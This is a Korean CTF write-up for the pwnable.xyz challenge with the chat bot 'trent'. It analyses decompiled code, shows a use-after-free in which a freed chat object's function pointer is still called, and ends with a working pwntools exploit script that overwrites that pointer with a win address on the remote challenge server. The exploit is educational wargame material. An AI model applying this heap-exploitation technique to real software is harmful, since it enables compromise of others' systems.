복잡해 보이지만 쉬운 UAF 문제다.
우선 다음과 같은 구조체를 정의한다.
name은 이름을 가리키는 포인터를 나타내고, answer_func는 함수 포인터이다.
obj_chat = NULL;
while ( 1 ) { memset(buf, 0, 0xFFuLL); printf("@you> "); read(0, buf, 0xFFuLL); buf_copy = strdup(buf); if ( !obj_chat ) obj_chat = invite_reznor(); obj_chat->answer_func(obj_chat, buf); free(buf_copy); } |
do_chat 함수는 이렇게 생겼다. answer_func 함수 포인터를 사용하는 부분이 눈에 걸린다.
obj_chat가 0이면 invite_reznor 함수로 초기화를 한다.
chat *__fastcall invite_reznor()
{ chat *obj_chat; // [rsp+8h] [rbp-8h] obj_chat = (chat *)malloc(0x20uLL); obj_chat->name = strdup("@trent"); obj_chat->answer_func = answer_me; puts("@trent has entered #ota_chat"); return obj_chat; } |
0x20 크기로 할당받고, answer_func에 answer_me 함수 주소를 넣는다.
if ( !strcmp(buf, "/gift\n")
&& (size = 0, puts("Oh you wanna bribe him?"), printf("Ok, how expensive will your gift be: "), __isoc99_scanf("%ud", &size), size) ) { gift = (char *)malloc(size + 1); memset(gift, 0, size + 1); printf("Enter your gift: "); read(0, gift, size); gift_hashed = hash_gift((uint8_t *)gift, size); printf("Trent doesn't look impressed and swallows %p\n", gift_hashed); if ( gift_hashed == 0xDEADBEEF ) { puts("The color of his head turns blue..."); puts("Trent Reznor flips the table and raqequits..."); puts("@trent has left #ota_chat (Client disconnected...)"); free(obj_chat->name); free(obj_chat); } else { printf("Didn't seem to be tasty...\n", gift_hashed); } } else { msg = answers[rand() % 10]; printf("@trent> %s\n", msg); } |
answer_me 함수는 위처럼 생겼다. /gift 를 입력하면 obj_chat->name과 obj_chat을 free 할 수 있다. 이 free를 실행시키는 조건은 gift_hashed == 0xDEADBEEF 이다.
uint64_t __fastcall hash_gift(uint8_t *gift, int size)
{ int i; // [rsp+14h] [rbp-18h] int j; // [rsp+18h] [rbp-14h] uint64_t x; // [rsp+1Ch] [rbp-10h] uint64_t y; // [rsp+24h] [rbp-8h] x = 0LL; y = 0LL; for ( i = 0; i < size / 2; ++i ) x += gift[i]; for ( j = size / 2; j < size; ++j ) y += gift[j]; return y | (x << 16); } |
hash_gift는 gift를 절반으로 쪼개서, 앞 부분과 뒷 부분의 바이트 값의 합을 상위/하위 2바이트에 나눠 저장하고 반환하는 함수다.
gift_hashed가 0xDEADBEEF가 되도록 입력값을 설정하고 실행시킨 뒤의 fastbin 상태는 아래와 같다.
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x7c0000 --> 0x7c0050 --> 0x0 (0x30) fastbin[1]: 0x7c0020 --> 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x7c0240 (size : 0x20dc0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 |
0x20 chunk 2개는 strdup에서 만들어진 것이고, 0x30 chunk는 obj_chat 가 가리키는 영역이다.
다시 do_chat을 살펴보면, answer_me에서 obj_chat가 free되어도 do_chat에서 obj_chat가 0이 되지는 않는다. 즉 answer_me에서 obj_chat가 free된 이후 obj_chat->answer_func를 실행하는 것이 UAF라는 의미다.
answer_me 함수에서 /gift 를 다시 입력하고, 0x30 크기의 chunk를 만든 뒤 answer_func 자리에 win 주소를 쓰면 풀린다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
from pwn import *
import argparse def itob(i) : return str(i).encode() def send(msg:bytes) : p.writeafter(b'you> ', msg) def gift(size:int, gift:bytes) : p.writeafter(b'you> ', b'/gift\n') p.writelineafter(b': ', itob(size)) p.writeafter(b': ', gift) def exploit() : payload = b'\xFF'*223 + b'\x8C' # dead payload += b'\xDB'*223 + b'\x2a' # beef gift(448, payload) gift(0x20, b'A'*8 + p64(0x400CAE)) # win send(b'A') p.interactive() if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30034) else : p = process('./challenge') exploit() |
Last update: 5/2/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / words (0) | 2020.05.05 |
---|---|
pwnable.xyz / notebook (0) | 2020.05.03 |
pwnable.xyz / Dirty Turtle (0) | 2020.05.01 |
pwnable.xyz / Hero Factory (0) | 2020.05.01 |
pwnable.xyz / note v2 (0) | 2020.05.01 |